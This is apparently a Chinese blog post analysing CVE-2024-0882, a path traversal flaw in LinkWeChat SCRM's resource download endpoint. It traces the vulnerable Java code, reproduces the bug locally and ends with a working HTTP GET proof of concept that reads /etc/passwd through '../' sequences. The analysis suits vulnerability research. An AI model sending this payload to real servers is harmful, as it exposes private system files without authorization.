CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究

漏洞描述

LinkWeChat 是基于企业微信的开源 SCRM 系统,是企业私域流量管理与营销的综合解决方案。

LinkWeChat 基于企业微信开放能力,不仅集成了企微强大的后台管理及基础的客户管理功能,而且提供了多种渠道、多个方式连接微信客户。并通过客情维系、聊天增强等灵活高效的客户运营模块,让客户与企业之间建立强链接,从而进一步通过多元化的营销工具,帮助企业提高客户运营效率,强化营销能力,拓展盈利空间。

主要运用于电商、零售、教育、金融、政务等服务行业领域。​​​​​​

复制代码
开发语言:Java官网地址:https://www.linkwechat.net/项目地址:https://github.com/qwdigital/LinkWechat-Scrm
漏洞后端代码

文件位于

linkwe-auth\src\main\java\com\linkwechat\web\controller\common\CommonController.java

这个控制器下存在一个resourceDownload方法

java 复制代码
/**
 * 本地资源通用下载
 */
@GetMapping("/common/download/resource")
public void resourceDownload(String name, HttpServletRequest request, HttpServletResponse response) throws Exception {
    // 本地资源路径
    String localPath = LinkWeChatConfig.getProfile();
    // 数据库资源地址
    String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
    // 下载名称
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
    response.setCharacterEncoding("utf-8");
    response.setContentType("multipart/form-data");
    response.setHeader("Content-Disposition",
            "attachment;fileName=" + FileUtils.setFileDownloadHeader(request, downloadName));
    FileUtils.writeBytes(downloadPath, response.getOutputStream());
}

String localPath = LinkWeChatConfig.getProfile();后得到一个本地目录,例如D:/linkWeChat/uploadPath

看看StringUtils.substringAfter 这个工具方法对我们的name值做了什么处理

注意传入的参数Constants.RESOURCE_PREFIX 是/profile

跟入StringUtils.substringAfter 方法

其要注意的是

else语句块代码用于从字符串 str 中获取分隔符 separator 后面的子字符串,就是说name值里面必须要有/profile

之后与localPath进行拼接 组成downloadPath,这里就可以尝试用../的方式进行拼接,具体怎么样,让我们往后看...

跟入StringUtils.substringAfterLast方法 得到downloadName 值

提取最后一个"/"出现的位置---pos

pos != -1成立与pos != str.length() - separator.length()成立 则会获取字符串str的第pos+1个字符到结尾的所有字符 返回赋值downloadName

之后执行FileUtils.setFileDownloadHeader 返回字符串,设置返回头,至此downloadName就没什么事了

我们重点分析FileUtils.writeBytes方法,

我们在new File的时候,如果filepath有../jdk底层会正确解析吗! 经过测试new File的确可以接受../的文件名可以正常被解析

漏洞本地漏洞复现

本次复现不同以往,此次使用本地代码运行验证改漏洞的存在

java 复制代码
public static void main(String[] args) throws IOException {
        String localPath = LinkWeChatConfig.getProfile();
        String filePath = "D:\\文档\\1.txt";
        OutputStream os = new FileOutputStream(new File(filePath));

        // 数据库资源地址
        String name = "/profile/../../../../../../../../../../windows/win.ini";
        String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
        // 下载名称
        String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

        FileUtils.writeBytes(downloadPath, os);
/*        new SpringApplicationBuilder(LinkWeAuthApplication.class)
                .properties("spring.config.name:bootstrap", "config/run/bootstrap.yml")
                .properties("spring.application.name=linkwe-auth")
                .build().run(args);
        System.out.println("(♥◠‿◠)ノ゙  LinkWe-auth启动成功   ლ(´ڡ`ლ)゙ ");*/
    }

没有找到准备的test文件夹测试,索性直接注释掉启动代码,将resourceDownload方法内的代码搬过来。设置name值模拟用户输入

运行,如果不出意外,1.txt已经被写入win.ini的内容,与实际访问不同的是,服务器是以流的形式返回给用户

win.ini的确存在,漏洞验证成功。

附赠poc

GET /linkwechat-api/common/download/resource?name=/profile/../../../../../etc/passwd HTTP/1.1

Host:

Cookie: Admin-Token=[需要]

authorization: [需要]

后续修复

-----本次测试是LinkWechat-Scrm-5.1.0版本,漏洞作者验证这个版本漏洞存在。目前最新版没有对这个方法类做任何修改....但不确定name值在参数绑定前,过滤会怎么判断它......能否被利用需实际测试.......

相关推荐
num_killer3 小时前
小白的Langchain学习
java·python·学习·langchain
期待のcode4 小时前
Java虚拟机的运行模式
java·开发语言·jvm
程序员老徐4 小时前
Tomcat源码分析三(Tomcat请求源码分析)
java·tomcat
a程序小傲4 小时前
京东Java面试被问:动态规划的状态压缩和优化技巧
java·开发语言·mysql·算法·adb·postgresql·深度优先
仙俊红4 小时前
spring的IoC(控制反转)面试题
java·后端·spring
阿湯哥4 小时前
AgentScope Java 集成 Spring AI Alibaba Workflow 完整指南
java·人工智能·spring
小楼v4 小时前
说说常见的限流算法及如何使用Redisson实现多机限流
java·后端·redisson·限流算法
与遨游于天地5 小时前
NIO的三个组件解决三个问题
java·后端·nio
czlczl200209255 小时前
Guava Cache 原理与实战
java·后端·spring
yangminlei5 小时前
Spring 事务探秘:核心机制与应用场景解析
java·spring boot